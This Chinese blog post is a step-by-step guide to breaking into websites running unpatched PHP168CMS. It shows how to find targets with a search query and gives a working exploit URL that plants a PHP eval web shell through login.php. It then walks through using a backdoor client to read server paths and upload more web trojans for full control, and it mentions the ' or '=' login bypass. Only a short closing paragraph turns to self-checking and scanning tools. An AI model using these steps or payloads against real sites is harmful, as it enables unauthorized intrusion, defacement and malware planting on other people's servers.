本文操作方法十分简单，按照操作提示一步步来就可以完成了。不少网站在后台登陆框输入‘or’'='代码就可以直接登陆网站后台，这种方式曾经是最流行入侵方式，而今天卢松松讲的是如何利用login后台登陆文件漏洞注入代码。

login.php（.asp/.aspx）文件一般都是作为CMS系统的管理员后台登陆文件，这里以PHP168CMS系统为例，login.php漏洞实际上的一个注入漏洞，是利用文件代码设计不良直接讲恶意代码直接上传到网站目录中。利用此漏洞可以进入网站，实行内容篡、网页挂马等手段。

第一步,寻找使用PHP168CMS的网站

在google中输入&ldquo;powered by php168&rdquo;，然后随意找到一个网站作为测试，主要是寻找没有打补丁的网站。然后在域名后面输入，例：https://lusongsong.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[cmd]);?>如果出现了登陆界面就表明漏洞被成功利用。（文中的入侵域名请换成搜索的网站域名）

第二步,读取网站目录，获取网站绝对路径

如果代码成功执行，木马就会保存在cache\shell.php文件中，然后下载一个&ldquo;lanker微型PHP后门客户端&rdquo;，在木马地址栏输入https://lusongsong.com/cache/shell.php，然后选择读取目录，如果连接成功就能显示出网站所在服务器中的绝对路径。

第三步,开始上传PHP网页木马

在lanker微型PHP后门的基本功能列表中选择上传网页木马，上传的文件会保存在cache目录中。在域名的后面输入&ldquo;cache/网站木马文件名&rdquo;就可以运行木马了，至此已经对使用PHP168CMS系统的网站获得了控制权，可以任意的修改和删除。

其实存在login注入漏洞的不止PHP168一家，还有很多不知名的PHP网站源码都有这个漏洞,如果你使用的是PHP系统，请赶快检测你的程序是否有这个问题吧。对于PHP语言不了解的站长可以利用PHP注入漏洞扫描工具对你的网站进行扫描，例如：CASI、PHP-Mysql注入分析器、ZBSI等工具。更详细方法可以google一下：&ldquo;如何预防和检测网页挂马&rdquo;。或者查看我写过的关于网站挂马文章。

来源：卢松松博客 QQ/微信：13340454 ，转载请注明出处！

本文地址：https://lusongsong.com/reed/118.html